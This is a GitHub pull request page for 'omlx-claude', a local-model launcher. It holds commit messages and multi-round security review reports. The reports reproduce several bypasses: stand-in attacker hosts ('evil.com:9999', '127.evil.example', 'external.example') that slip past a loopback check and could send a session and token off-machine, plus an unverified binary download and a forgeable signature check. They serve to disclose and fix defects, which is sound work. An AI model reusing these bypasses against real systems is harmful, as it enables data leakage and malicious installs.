Usage 1 gets a command: omlx-claude, shipped with the MCP server as one module - #7
Usage 1 gets a command: omlx-claude, shipped with the MCP server as one module#7kiki830621 wants to merge 39 commits into
Conversation
…the version (#2) Swift cannot import an executable target, so the module could not grow a second command without first having somewhere shared to put what both commands need. The library is deliberately small — the version and (next) the upstream-workaround staleness check. An earlier draft moved OmlxClient and ResponseFormatting here too, which would have meant making twelve types and all their members public purely to serve one caller. The stated reason for that reach was reusing the loopback refusal in the launcher, and it does not hold: usage 1 connects to whatever host `omlx launch` picks, so refusing a non-loopback address in our preflight cannot stop oMLX from connecting anyway. It could only warn. Not worth the blast radius on shipped code. Identity that belongs to one command moves the other way. AppVersion.name, mcpServerName and helpMessage describe the MCP server alone, so they now live in Sources/OmlxConnectorMCP/Identity.swift and the shared library stays free of any single command's vocabulary. scripts/build-release.sh changes in the same commit on purpose: both of its greps address Version.swift by path, and moving the file without them would leave a revision where the release build necessarily fails. No behaviour change. The existing 18 tests are the acceptance criterion and pass unchanged, which is also why this is its own commit — the assertions run before and after are the same ones. Refs #2
…karound was checked against (#2) The user's decision was that omlx-claude keeps existing after jundot/omlx#2715 and #2716 are fixed — it also carries distribution, UX, and a wider settings override than the launcher's four keys — but that it should say so rather than depend on someone remembering to re-check. Doing that the obvious way does not work. "Has upstream fixed it yet?" needs a fixed-in version constant, and that number does not exist while the bugs are open; somebody would have to come back and fill it in later, which is precisely the act of remembering this mechanism exists to remove. So the check runs the other way round: record the version the workaround was last read against, and speak up when the installed one is newer. That needs no knowledge of the future. The comparator is tested directly rather than only through the notice, because this is where it can quietly go wrong. "0.10.0" sorts before "0.9.0" as text and after it as a version — getting that backwards would go silent for exactly the releases most likely to carry the fix, and nothing would ever report the mistake. Pre-release ordering (0.6.0rc1 precedes 0.6.0) and short forms (0.6 == 0.6.0) are covered for the same reason. Unreadable version strings return nil throughout. A version we cannot parse is never a reason to get in the way of launching. 29 tests pass (18 existing, 11 new). Refs #2
Usage 1 had no command, only a file the README asked people to copy into ~/bin. This is that command, as a second executable in the module sharing the version with the MCP server. It execs `omlx launch claude` rather than replacing it. oMLX's integration sets twelve-odd environment variables carrying knowledge that keeps moving — tier mapping, the auto-compact denominator, the LSP prefix-cache footgun, the telemetry trade-off. Reimplementing that here would fork it and then let it rot. The plan said the settings override should cover all of the variables the launcher sets. It cannot, and pretending otherwise would be the same fork by another route: half those values are computed by oMLX from the model it ends up serving — the tier defaults, the context window, the configured API key. So the override splits in two. Keys we can determine independently are re-asserted through --settings, which as a CLI argument outranks the user's settings.json and so survives jundot/omlx#2715. Keys we cannot are named in a warning when the user's own settings would shadow them. Silence about a key we do not control is worse than saying so. API_TIMEOUT_MS is in the first group and is not decoration: the launcher sets it to 3000000 because a cold model load alone can outlast a normal timeout, and a settings file that shadows it aborts inference mid-generation. --host and --port are read but not consumed — they belong to oMLX and never reach Claude Code. Reading them fixes a bug the shell wrapper had: it always probed 127.0.0.1:8000, so --port 8001 against a server on 8001 reported it as down. Verified end to end against a live oMLX 0.6.0rc1: `omlx-claude --model Qwen3.8-27B-4bit -p ...` reaches the local model and answers, which is the only way to confirm the exec path and flag forwarding. 43 tests pass (29 existing, 14 new). Refs #2
Six assets now instead of four. The plugin wrapper and the session-start hook both resolve binaries by exact filename, so a missing asset surfaces as a download error pointing nowhere useful — hence the generated `gh release create` line enumerates all of them rather than leaving the new pair to be remembered. Notarization stays a single submission. Apple notarizes every Mach-O it finds in the archive, so zipping the dist directory rather than one binary means the second executable costs no extra round-trip. Worth arranging, since each one is 2-10 minutes and the plan had budgeted for two. The .mcpb bundle deliberately does not gain the launcher. Claude Desktop has no terminal for a command to be typed into, so it would be weight nobody could reach. That asymmetry is a real thing users will hit — someone installing the bundle and looking for omlx-claude — so it is stated here and in the README rather than left to be discovered. Verified by running the pipeline with real Developer ID signing and SKIP_NOTARIZE=1: both binaries sign and verify with hardened runtime, both checksums are produced, and the bundle packs with the server alone inside. Refs #2
The MCP server can update itself lazily — Claude Code runs its wrapper every time it starts the server. A command the user types has no equivalent moment, so a SessionStart hook is where the check has to live. It costs nothing when up to date: the version is read locally and no network call happens unless the pinned version has moved. "Read locally" needs care. Keying only off the version marker file meant anyone who installed by hand or with `make install-omlx-claude` had no marker, so every single session treated the binary as unknown and hit the GitHub API again. The hook now falls back to asking the binary its own version, and the make target writes the marker. Measured after: 0.29s, no network. The plan said to declare the hook in plugin.json. It does not need declaring — `hooks/hooks.json` in the plugin root is an auto-discovered default location, and the manifest's `hooks` field exists only for pointing somewhere else. Checking that rather than writing it from memory is why the plan listed it as a risk. The hook also reports when ~/bin is not on PATH. "Installed but unreachable" is the failure people read as "it didn't install", and the fix is one line they cannot guess. Failure degrades rather than interrupts: no release asset yet, or a download that fails, leaves any existing binary alone and says so. A session-start hook is the wrong place to break someone's day over a stale copy that still works. Refs #2
The old name is already in people's ~/bin — the README used to tell them to copy it there by hand — and scripts may call it. Deleting it outright would break those silently, so it forwards, says so on stderr, and names the version that removes it (0.4.0) rather than promising "eventually". Worth being clear that omlx-claude is not this file renamed. It fixes things this script got wrong: probing the address --host/--port actually select rather than always 127.0.0.1:8000, covering the launcher's fixed environment keys instead of four of them, reporting the model-dependent keys it cannot cover, and speaking up when oMLX moves past the version the workaround was checked against. Refs #2
CLAUDE.md said usage 2 was "the actual product", that usage 1 "belongs to oMLX", and that bin/claude-local "should be deleted once #2715 and #2716 are fixed — do not grow features into it". That was the honest description of a repo whose usage-1 story was a file the README told you to copy by hand. It is no longer true, and leaving it would leave a rule nobody follows sitting next to the thing that disproves it. What replaces it is not just a positive framing. It records the constraints that came out of building this, so they survive as reasons rather than as habits: - omlx-claude execs `omlx launch claude` and should keep doing so. oMLX's integration holds a dozen environment variables' worth of knowledge that keeps moving; reimplementing it here forks it and then lets it rot. - The settings override splits in two on purpose, and moving a key from the "reported" list to the "overridden" list means reimplementing oMLX's model selection — which is that same fork by another route. - lastVerifiedOmlxVersion is bumped after re-reading oMLX's source, not after confirming a launch still works. Bumping it on a successful launch would make the notice assert something nobody checked. - Core stays small. An earlier draft would have made twelve types public to serve one caller. The .mcpb asymmetry is stated in all four documents rather than one. Claude Desktop has no terminal, so that bundle carries the server alone — and someone who installs that way and cannot find omlx-claude will conclude the install failed unless they were told first. The local-delegation skill gains the case it could not previously answer: material too large to delegate piece by piece, where the right move is the other entry point entirely. It names the trade rather than recommending it — the whole session then runs at the local model's ability, planning included. Refs #2
All four mirrors together, because build-release.sh fails the build on any disagreement — and it does that for a reason worth restating: the plugin wrapper resolves the release tag from plugin.json's version, so a mismatch sends users to a tag whose asset does not exist and the failure surfaces as a download error pointing nowhere useful. The plugin and marketplace descriptions change too. They described delegation alone, which stopped being the whole story the moment installing the plugin also put a command on your PATH. The .mcpb description is left as it is: that bundle really does ship the server alone, so describing two entry points there would promise something Claude Desktop users cannot reach. Refs #2
Verify Report — PR #7EngineDEGRADED — 1 of 6 reviewers ran. codex leg only: The four Claude lenses (requirements / logic / security / regression) and the Freshness gate (Step 2.9): AggregateFAIL — 6 blocking, 4 follow-up, 2 informational, on a partial ensemble. #2 — Usage 1 needs a command you can just type, not a file you copyRequirements coverage: the command exists, is on
The three I reproduced live, with evidenceF1 — crash on legitimate input.
F2 — first-occurrence wins, argparse takes the last. argparse's F3 —
The two the diff-and-tests could not have caughtF4 — F5 — the notarization archive is built inside what it archives. ZIP="$DIST_DIR/notarize.zip" # scripts/build-release.sh:110
ditto -c -k "$DIST_DIR" "$ZIP" # …recursively archiving $DIST_DIRDepending on F6 — the adversarial finding, and I accept itI asked the reviewer to press on whether shipping The mechanism is inert, so setting it harms nothing. The false claim is the defect. Fresh corroboration from a live run during this verify — Claude Code, unprompted:
Where I disagree with the reviewerFinding 10's second half claimed Process Gaps
What this verdict does and does not establishIt establishes that six blocking defects exist. It does not establish that there |
Verify ran degraded — four Claude lenses and the devil's advocate hit the session limit, so only the cross-model leg looked at this. It was enough to find six real defects, three of which I then reproduced against the built binary. **Crash on legitimate input.** The preflight force-unwrapped `URL(string:)`, so `--host ::1` died with SIGTRAP and no message. `::1` is not exotic: this repo's own OmlxConfig.isLoopback accepts it as the canonical IPv6 loopback, so one half of the module treated it as valid while the other half died on it. Addresses are now built through URLComponents, IPv6 literals are bracketed, and anything unusable is reported. **Flag precedence was inverted.** ProbeTarget took the first `--host`/`--port`; argparse takes the last. A shell alias carrying --host plus a user override was enough to make us probe — and, far worse, write into ANTHROPIC_BASE_URL — a host oMLX was not serving. That channel is the highest-precedence one we have, so the failure direction was content leaving for somewhere the user did not choose. Now last wins, valueless occurrences no longer abandon later valid ones, nothing past `--` is read, and `--port -1` binds and is refused on range rather than silently falling back to 8000 (argparse's own negative-number rule). **OMLX_URL was being destroyed.** Only host and port were kept and `http://host:port` rebuilt from scratch, so `https://server:8443/api` came back as `http://server:8443` — TLS downgraded, path lost — and that result fed both the preflight and the override. Flags now override only the parts they name. **--api-key was documented but unusable.** The preflight sent no Authorization, so an authenticated server answered 401 and the flag could never reach `omlx launch`. Worse, ANTHROPIC_AUTH_TOKEN was overridden with `OMLX_TOKEN ?? "omlx"` unconditionally — contradicting this file's own rule about never guessing values oMLX computes. The credential is now resolved from --api-key then OMLX_TOKEN, sent on the preflight, and when neither is given it is not asserted at all but reported as a conflict instead. 401 is also no longer described as "server not responding", which sent people to start a server that was already running. **The notarization archive was built inside what it archives.** `ditto -c -k "$DIST_DIR" "$DIST_DIR/notarize.zip"` — demonstrated: the resulting archive contains a zero-byte `notarize.zip` entry and its resource fork. It survived by timing, not by design. The archive now goes to a temp directory and is checked for both binaries before an Apple round-trip is spent on it. My own verification could not have caught this: SKIP_NOTARIZE=1 is precisely the flag that skips this branch. **A false claim, which is the one that matters.** CLAUDE_CODE_DISABLE_1M_CONTEXT was shipped with README, help text and source comments all calling it the #2716 fix. It is inert for oMLX-served model ids — Claude Code says so at startup, and that warning was in my own end-to-end output, unread. The key stays (correct if an id is ever recognized, harmless otherwise); every claim that it fixes #2716 is gone, replaced by a statement of what it does not do. Tracked in #6. Also widened settings-conflict detection past the global settings.json to project and local scopes, since those shadow inherited environment the same way — the promise to report what we cannot override was otherwise only half kept. 60 tests pass (43 before). The three reproduced defects were re-run against the rebuilt binary: ::1 now resolves to http://[::1]:8000, repeated --host takes the last, and OMLX_URL keeps its scheme and path under a --port override. Refs #2
Blocking findings addressed —
|
| # | Finding | Fix | Evidence |
|---|---|---|---|
| 1 | Force-unwrap crash | URLComponents + IPv6 bracketing + nil on unusable input |
--host ::1 went from rc=133 SIGTRAP, zero output → http://[::1]:8000 |
| 2 | First-occurrence wins | last wins; valueless occurrence no longer abandons later ones; stops at --; --port -1 binds then refused on range |
--host gateway --host nonexistent.invalid now probes nonexistent.invalid |
| 3 | OMLX_URL scheme/path destroyed |
flags override only what they name | https://server.example:8443/api survives; --port 9000 → https://server.example:9000/api |
| 4 | --api-key unusable |
resolved from --api-key → OMLX_TOKEN; sent on preflight; not asserted when unknown; 401 gets its own message |
code + tests |
| 5 | Notarize ZIP inside its own source | temp dir + both-binaries check before the Apple round-trip | demonstrated below |
| 6 | False #2716 claim | claim removed from README / help / source; key kept and explicitly labelled a no-op for oMLX ids | shipped help text verified |
Finding 5, demonstrated
The old command produced an archive containing itself:
$ ditto -c -k dist dist/notarize.zip && unzip -l dist/notarize.zip
0 notarize.zip ← the archive, captured while empty
163 ._notarize.zip
6291456 binA
6291456 binB
It survived by timing, not by design. My own verification could not have caught it — SKIP_NOTARIZE=1 is exactly the branch that skips it.
Finding 6 — where I was wrong
The end-to-end run during implementation already contained Claude Code's own warning that the key does nothing for oMLX-served model ids. It was in my output and I did not read it, then shipped README, help text and source comments all calling it the #2716 fix. The mechanism was harmless; the claim was the defect, and it was introduced by this PR. It is gone. The key stays — correct if an id is ever recognized — labelled as what it is. #6 keeps tracking the real gap.
Also fixed (was follow-up)
Settings-conflict detection now covers project and .local scopes, not just the global settings.json. The promise to report what we cannot override was otherwise only half kept.
Verification
make test— 60 tests, 0 failures (43 before; 17 new pin the defects above)- Release pipeline with real signing,
SKIP_NOTARIZE=1— 6 assets, nonotarize.zipleft indist/ - Three defects re-run live against the rebuilt binary
Still open
The four Claude lenses and the devil's advocate have still never looked at this PR (session limit, resets 16:30 +08:00). These six were found by one reviewer out of six. Full ensemble re-run on this diff is the remaining gate.
Verify Report — PR #7 (round 2, full ensemble)Enginepai-ensemble 2.20.0 (canonical) — 4 IDD lenses + Devil's Advocate + Codex ( Round 1 ran with 1 of 6 (session limit). This is the first time four lenses and the Freshness gate: AggregateFAIL — 80 findings: 1 CRITICAL, 19 HIGH, 32 MEDIUM, 19 LOW, 9 INFO. Round 1's six fixes were re-examined. Codex's independent verdict: F1 / F3 / F5 The finding that matters most — and it is mine
|
| Lens | File |
|---|---|
| codex | ProbeTarget.swift:50 |
| requirements | ProbeTarget.swift:38 |
| logic | ProbeTarget.swift:41 |
| security | ProbeTarget.swift:41 |
Four reviewers, no shared context, same defect. That is the strongest signal this
ensemble can produce.
CLAUDE.md states the constraint in its own words:
OmlxConfig.resolveBaseURLrefuses non-loopback hosts unlessOMLX_ALLOW_REMOTE=1.
This is the one invariant that cannot regress: the entire premise is that content
stays on the machine.
grep -rn 'isLoopback|ALLOW_REMOTE' Sources/OmlxClaude/ returns one line — a comment.
There is no enforcement. This PR added a second entry point that sits entirely outside
the invariant, and reproduced live:
$ OMLX_URL="https://external.example/api" omlx-claude
omlx-claude: No oMLX server responding at https://external.example/api
Had that endpoint answered 2xx, https://external.example/api would have been written
into ANTHROPIC_BASE_URL through --settings — the highest-precedence channel — and the
entire session's content, plus the bearer token, would have gone there. No warning, no
OMLX_ALLOW_REMOTE=1 opt-in, nothing.
Worse: round 2's own test testOmlxUrlKeepsItsSchemeAndPath pins accepting
https://server.example:8443/api as expected behaviour. The F3 fix did not merely leave
the hole open; it wrote a test asserting the hole is correct. README and
local-delegation/SKILL.md meanwhile tell users that usage 1 means nothing reaches a
cloud API.
This is a regression of the project's stated core premise, introduced by this PR, and
I did not catch it in either the implementation or the round-1 fixes.
Fixes that did not hold
The Devil's Advocate was asked whether the round-1 evidence established the fixes or
only that the symptom changed. On two of six, it established the latter — with
executable proof, not argument.
F1's IPv6 fix opened a new hole
The bracket normalization triggers on "host contains a colon", not on "host is an
IPv6 literal":
if let host = components.host, host.contains(":") {
let bare = host.trimmingCharacters(in: CharacterSet(charactersIn: "[]"))
components.host = "[\(bare)]"
}Reproduced live:
$ omlx-claude --host evil.com:9999
omlx-claude: No oMLX server responding at http://[evil.com:9999]:8000
$ omlx-claude --host x:y
omlx-claude: No oMLX server responding at http://[x:y]:8000
guard let baseURL = … else { fail(.unusableAddress) } is the only safety valve on this
path and it never fires for these. The error text I wrote for it — "--host must be a
host name or IP" — is a line that cannot be printed. The user is instead told to
open -a oMLX, which has nothing to do with the problem.
The DA's sharpest point is about my tests: LauncherTests.swift:104-109 pins exactly two
unusable hosts, "a b c" and "a|b" — both without colons, so both miss the branch
the fix added. ::1 genuinely stopped crashing; the property "unparseable input returns
nil" was never established, only asserted by tests that avoid the new code.
F2's flag-scan fix does not cover the abbreviations oMLX accepts
The DA rebuilt oMLX's parser from cli.py:1418 and ran it:
['--po','8001'] -> port=8001 (oMLX accepts)
['--ho','gateway.internal'] -> host=gateway.internal
['--ap','k1'] -> api_key='k1'
then ran the same inputs through ProbeTarget.resolve, which ignores all three. My own
comment dismissed this as costing "a preflight against the wrong port — an error message,
not silent misbehavior." Both halves are false, and the DA gave the scenario:
A user with OMLX_URL=https://gw.corp:8443 exported for usage 2 wants to pin to local
today, so types omlx-claude --ho 127.0.0.1. oMLX honours it. ProbeTarget does not see
it, resolves https://gw.corp:8443, and writes that into ANTHROPIC_BASE_URL — which
outranks the environment oMLX set. The whole session goes to the remote gateway while
the user just explicitly typed localhost. The preflight cannot catch it: the address it
probes is the live remote one.
That is the exact failure this type's doc comment says it exists to prevent.
CRITICAL
plugin/hooks/session-start.sh:75 — installs an unverified native binary.
curl -sL → chmod +x → mv into ~/bin, with no checksum, no signature, no
spctl/codesign check, and no --fail. Codex noted the asymmetry: the release
publishes .sha256 for both binaries and the hook ignores them. Without --fail, an
HTTP error page is installed over a working binary. On the latest-fallback path the hook
writes the pinned version into the marker after downloading a different version, so
every later session believes it is in sync.
All HIGH findings
| # | File | Finding | Lens |
|---|---|---|---|
| 1 | session-start.sh:75 |
CRITICAL — unverified binary install (above) | codex |
| 2 | ProbeTarget.swift:38-50 |
No loopback gate on usage 1 (above) | codex + requirements + logic + security |
| 3 | ProbeTarget.swift:68 |
IPv6 bracket fix admits any colon-bearing garbage (above) | devils-advocate |
| 4 | ProbeTarget.swift:99 |
argparse abbreviations silently misroute (above) | codex + devils-advocate |
| 5 | ProbeTarget.swift:17 |
Hardcoded 127.0.0.1:8000 default diverges from oMLX's settings-derived default, then asserted at highest precedence |
logic |
| 6 | ProbeTarget.swift:50 |
OMLX_URL without an explicit scheme is now silently discarded — confirmed live; bin/claude-local routes existing users straight into it |
regression |
| 7 | main.swift:94 |
.unknown + 401 hard-fails a launch that would have worked — oMLX would have supplied its own configured key. Help.swift claims "oMLX's own configured key is left in force"; it is not, we abort first |
codex |
| 8 | main.swift:130 |
Auth token copied into argv. Not merely "secrets on a command line": a user who deliberately chose OMLX_TOKEN (unreadable by other users' ps on macOS) has it downgraded to ps-visible without asking |
codex |
| 9 | main.swift:21 |
--help/--version still intercepted after --, so passthrough is not what the PR claims |
codex |
| 10 | main.swift:57 |
A slow or failing omlx --version now blocks the launch entirely and reports a false cause — a gate the old wrapper never had |
regression |
| 11 | UpstreamWorkaround.swift:45 |
Unparseable version → silence. If omlx --version ever prints omlx 0.7.0, the mechanism disables itself exactly when upstream changed — the opposite of the recorded "must announce itself" decision. testUnparseableVersionIsSilent pins the wrong behaviour |
codex |
| 12 | LaunchSettings.swift:53 |
CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC misclassified: omlx-claude --cross-session silently defeats the feature it requests, and our override bypasses oMLX's own detector so even upstream's warning never fires |
requirements + devils-advocate |
| 13 | build-release.sh:42 |
Version grep matches the first line including comments; JSON check only greps for the string anywhere in the file, not the version key. "Fails the build if any disagrees" is not literally true |
codex |
| 14 | build-release.sh:71 |
Manifest-name check is [ -n "$MANIFEST_NAME" ] && [ … != … ] — a missing, empty, or unparseable name skips the check entirely. It fails open precisely when it is needed |
codex |
| 15 | Makefile:27 |
make release-signed — the only documented release command — calls ./scripts/build-mcpb.sh, which does not exist. Confirmed live: No such file or directory, exit 127. Pre-existing, but this PR rewrote the release docs around it and I ran the script directly, which masked it |
regression |
Everything else
32 MEDIUM, 19 LOW, 9 INFO. Recurring themes:
- Settings scopes still incomplete. Enterprise-managed settings outrank even
--settings, and are not scanned. The round-2 "merges project and .local scopes" fix
only works when launched from the repo root (4 lenses). --settingscollision. A user's own--settingsis forwarded after ours and
silently wins, defeating the whole #2715 workaround. Untested.OMLX_URLuserinfo/query survive intoANTHROPIC_BASE_URL; embedded credentials
are echoed verbatim in error messages.--host 0.0.0.0/::— oMLX rewrites wildcard binds to 127.0.0.1 before
connecting; we take them literally, at higher precedence.OMLX_TOKEN=" "is treated as a known credential: writes garbage at top
precedence and suppresses the warning that should have fired.OmlxVersion.parsereturns nil for standard semver pre-release (0.7.0-rc1),
silently disabling staleness.- Doc claims that do not hold: "every one of those six assets is matched downstream by
exact filename" is false for four of six; theclaude-localshim sits where the users
D3 was written for cannot reach it; a fifth undocumented deviation (plan R4 named
mcpb/manifest.jsonas a place to state the usage-2-only asymmetry — it does not). - Test coverage gaps: no test touches the preflight, the
--delimiter, or the final
exec argv, so several claimed regressions reproduce with the suite fully green.
Full per-finding detail is in the workflow transcript.
Process
No gaps. All six reviewers completed. The harness flagged instruction-shaped patterns in
the diff (the CLAUDE.md / SKILL.md prose is addressed to AI readers) and neutralized
them; both codex and the logic lens independently confirmed no prompt injection.
Verdict
Do not merge. The loopback regression alone disqualifies it: this project's entire
premise is that content stays on the machine, and this PR ships an entry point that will
send a whole session anywhere OMLX_URL points, with a test asserting that is correct.
… did not hold (#2) Round 2 of verify ran the full six-reviewer ensemble for the first time (round 1 had managed one of six before hitting a session limit). It returned 80 findings, and the first of them is mine and is the worst kind: a regression of the property this project exists for. **omlx-claude had no loopback gate.** Four lenses found it independently, with no shared context. CLAUDE.md states the constraint in its own words — "the one invariant that cannot regress: the entire premise is that content stays on the machine" — and a grep for the policy over Sources/OmlxClaude/ returned exactly one line, a comment. OMLX_URL=https://external.example/api resolved fine and would have been asserted into ANTHROPIC_BASE_URL, which outranks everything, taking the whole session and the bearer token with it. Worse than the omission: round 1's F3 fix wrote a test, testOmlxUrlKeepsItsSchemeAndPath, that pinned accepting a remote URL as correct behavior. The hole was not merely left open, it was asserted to be the specification. The policy moves to OmlxConnectorCore as LoopbackPolicy and both entry points now share one implementation. This is the shape D1 was reaching for and got wrong: keeping Core minimal was right, but "minimal" should never have excluded the invariant that both commands depend on. Two copies of an invariant is one copy plus a future divergence. OmlxConfig.isLoopback stays as a forwarder so the existing MCP suite proves the forwarding is faithful. **Two round-1 fixes changed the symptom without establishing the property.** The devil's advocate was asked to press on exactly that and proved both executably rather than by argument: - The IPv6 fix bracketed anything containing a colon, not anything that is an IPv6 literal. `--host evil.com:9999` became http://[evil.com:9999]:8000 and the unusable-address error became unreachable — the error text I had written for it was a line that could never print. The DA also noted my tests pinned two unusable hosts, "a b c" and "a|b", both without colons, so both missed the branch the fix added. ::1 really did stop crashing; "unparseable input returns nil" was never established. Bracketing now requires inet_pton to accept the address. - The flag-scan fix ignored the abbreviations oMLX accepts. The DA rebuilt oMLX's parser from cli.py and showed --ho, --po and --ap are all honored there while invisible here. My comment had dismissed this as costing "an error message, not silent misbehavior"; both halves were false, because the resolved address is now written into ANTHROPIC_BASE_URL. A user with OMLX_URL set for usage 2 who types `omlx-claude --ho 127.0.0.1` would have had the session sent to the remote gateway while having just explicitly asked for localhost. Prefix matching now uses oMLX's full option set, with ambiguous prefixes claimed by nobody, exactly as argparse behaves. **The CRITICAL.** The session-start hook installed a native binary with no checksum, no signature, and no --fail, while the release publishes a .sha256 for every binary. It now verifies the checksum and the Developer ID team, downloads to scratch and only replaces the installed copy after every check passes, refuses to fall back to an unrelated `latest`, and records the version the binary reports rather than the one that was pinned. A failure keeps the working binary rather than overwriting it with an error page. Also: `make release-signed`, the only documented release command, invoked scripts/build-mcpb.sh, which has never existed here — exit 127 for anyone who followed the README, unnoticed because the script was always run directly. The version gate greps are anchored and comment-excluding, the JSON mirrors are compared by key instead of by substring, and a missing manifest name is now a failure rather than a reason to skip the check that exists because Claude Desktop drops a mismatched server silently. A failing `omlx --version` no longer blocks the launch and blames the wrong thing, a 401 with no credential of ours warns and continues instead of aborting a setup oMLX would have completed, and an unreadable version string now says so — going quiet there broke the one promise the mechanism was built to keep. 77 tests pass (60 before). The loopback gate, the IPv6 refusal and the abbreviation handling were each re-run against the rebuilt binary. Refs #2
Round-2 blocking findings addressed —
|
The round-2 fixes changed user-visible behavior and the module's shape, and neither was written down. Three gaps, in descending order of who gets hurt: `--help` did not mention OMLX_ALLOW_REMOTE at all. That is the first place someone looks when the command has just refused to start, so the gate could refuse a launch without the refusal being explicable from the tool itself. The README's loopback section described only the MCP server, which was accurate when usage 1 had no gate and is now simply wrong. It covers both entry points, and says only the literal 1 opens the door. CLAUDE.md's architecture section claimed Core holds "what more than one executable needs" while the invariant both executables are supposed to enforce sat outside it. The correction is not just the file listing. "Small" and "minimal" are not the same test: keeping OmlxClient out was right, keeping LoopbackPolicy out was wrong, and the difference is *who depends on it*, not how many lines it is. It escaped notice precisely because it was small enough to look like it did not qualify. Also recorded: how the regression survived a review round. A fix for a different bug (OMLX_URL losing its scheme) added a test asserting that https://server.example:8443/api resolves — true about URL assembly, false about policy, and sitting in the suite reading like approval. Remote addresses used as fixtures now opt in explicitly so they cannot be mistaken for a statement that remote is acceptable. And the argparse-compatibility contract, which is a real constraint rather than a courtesy: parsing a flag differently from oMLX means content leaving for a host oMLX is not serving. Refs #2
Verify Report — PR #7 (round 3, full ensemble)Enginepai-ensemble 2.20.0 — 4 IDD lenses + Devil's Advocate + Codex ( AggregateFAIL — 74 findings: 4 CRITICAL, 9 HIGH, 24 MEDIUM, 26 LOW, 11 INFO. I reproduced all four CRITICALs myself before writing this. One of them I initially The pattern is now three for threeRound 1: six blocking defects. Round 2: two of those six fixes had not established The Devil's Advocate said it in one line, and it is the most important sentence in this
A green suite has now been produced three times over code that did not do what it said. C1 — The loopback gate is bypassed by any hostname starting with
|
| # | File | Finding | Lens |
|---|---|---|---|
| 1 | LoopbackPolicy.swift:22 |
127.0.0.1.evil.com passes on both entry points (same root as C1) |
requirements |
| 2 | session-start.sh:116 |
The hook's failure messages — including CHECKSUM MISMATCH — go to a channel the user never sees | requirements |
| 3 | session-start.sh:117 |
codesign --verify + a TeamIdentifier grep does not establish who built the binary (C3) |
requirements |
| 4 | UpstreamWorkaroundTests.swift:46 |
The new .unreadable staleness branch has zero coverage, and a test comment asserts the exact contract the code now contradicts |
logic |
| 5 | main.swift:160 |
A user-supplied --settings lands after ours and wins — bypassing the loopback gate and destroying the #2715 workaround |
security |
| 6 | LoopbackPolicy.swift:22 |
The policy was moved verbatim, lenience included, and now gates ANTHROPIC_BASE_URL |
regression |
| 7 | session-start.sh:5 |
The hardening was applied only to the new hook; its identical twin is untouched (C2) | regression |
| 8 | ProbeTarget.swift:66 |
Address resolution mirrors oMLX's flags but not its resolution order. OMLX_HOST, OMLX_PORT and oMLX's own settings file are invisible to us, so the loopback gate does not check the address the exec'd process actually connects to |
devils-advocate |
| 9 | session-start.sh |
mv / chmod / marker writes are unchecked; a failure still prints success and stops the next session retrying |
(merged) |
HIGH #8 deserves emphasis: it is the same class as C1 but deeper. The gate can be
correct about the address we resolve and still not be checking the address oMLX will
use, because we never learned oMLX's full precedence chain — only its flags.
MEDIUM / LOW themes (50)
ProbeTarget 13 · main.swift 9 · LaunchSettings 7 · session-start.sh 7 ·
build-release.sh 3 — including the version-mirror gate still skipping a missing
file, which is the structurally identical guard to the one I hardened this round;
[127.0.0.1] in user-supplied brackets bypassing validation; IPv6 loopback matched by
string equality with ::1 so every other spelling of the same address is refused;
project-settings scope read from the process cwd; --help/--version still scanning
the whole argv without --; the token in argv still undisclosed in the shipped surface.
Where the Devil's Advocate corrected the other lenses
It rejected two findings as overstated and said so with evidence: omlxOptions is not
an unanchored hand-copied list (it verified it exhaustive against 0.6.0rc1), and
LaunchError.omlxNotInstalled is not unreachable (it found the reaching combination on
this machine; the real defect is ordering-induced misdiagnosis). It also noted that
9 of this round's 17 requirements findings were caused by my own comments describing
historical defects in the present tense, which led blind reviewers to read fixed code
as current.
Verdict
Do not merge. Four CRITICALs, two of which are in the code I wrote to close the
previous round's CRITICAL and the previous round's core-invariant regression.
The specific thing to fix is not any one of these. It is that for three consecutive
rounds, the tests written with each fix have been unable to fail on the defect the fix
was for. Until a fix arrives with a test that demonstrably fails without it, a green
suite here means nothing.
…hout the fix (#2) Round 3 found four CRITICALs, two of them in the code written to close round 2's CRITICAL and round 2's core-invariant regression. The Devil's Advocate named the underlying problem, and it is the one worth fixing first: the tests this round still route around their own new branches (third time), and a fully green suite is precisely the thing this round should least be treated as evidence of So each fix below arrived with a test that was demonstrated red against the old code before the new code was written. That discipline paid for itself twice within this commit; both times are recorded below because the near-misses are the useful part. **The loopback gate was a string test.** `hasPrefix("127.")` — and RFC 1123 permits a DNS label to begin with a digit, so `127.evil.example` is an ordinary registrable name. Reviewers demonstrated it passing on both shipped binaries; only DNS non-resolution stood between a session and an attacker-controlled endpoint. It now parses the address with inet_pton and inspects the bytes. The same change fixes the opposite error, where `::1` was matched by string equality so `0:0:0:0:0:0:0:1` was refused as remote. The tests shipped with the broken version could not have caught it: every near-miss fixture broke on the character immediately after `127` (`127x.`, `1270.`), so not one put a legitimate dot there. Same shape as round 2's finding about the IPv6 fixtures, which were all colon-free. **The signature check was forgeable.** `codesign -dv | grep TeamIdentifier=<id>` reads a field the signer chooses, so a newline inside `--identifier` puts an arbitrary line into that output and grep does not care where a string appears. An ad-hoc binary passed. It now uses `codesign -R` against a requirement over the certificate chain. First near-miss: I wrote the requirement without the leading `=`, so codesign read it as a path, failed with "invalid requirement specification", and refused *everything*. That state passes all eight negative tests while breaking every real install. The positive case — "accepts a genuinely Developer ID-signed binary" — was the only thing that caught it, which is why it is in the suite rather than left as obvious. **The CRITICAL was fixed at one of two call sites.** plugin/bin/omlx-connector-wrapper.sh downloads the other binary from the same release and had none of the hardening: no --fail, no checksum, no signature, chmod +x before verification, a `releases/latest` fallback recorded under the pinned version, then `exec`. The reported symptom was "the hook installs unverified"; the property is "this plugin does not install unverified binaries", and a property cannot be established one call site at a time. Both callers now delegate to plugin/bin/fetch-release-binary.sh, and the verifier ships inside plugin/ because scripts/ is repo-only and would not exist on a user's machine. The accompanying test asserts the property rather than the file: it scans every shipped script and fails if any of them downloads or execs without going through the fetcher, so a third downloader added later goes red without anyone remembering to extend it. Second near-miss: that scanner first flagged the fixed wrapper, because the file explains the defect it no longer has and the scan read the explanation as the offence. It now strips comments. 82 Swift tests and 11 shell assertions, wired into `make test` — the shell ones are not extras, since neither the forgery case nor the no-unverified-download property is expressible in the Swift suite. Refs #2
Round-3 CRITICALs addressed —
|
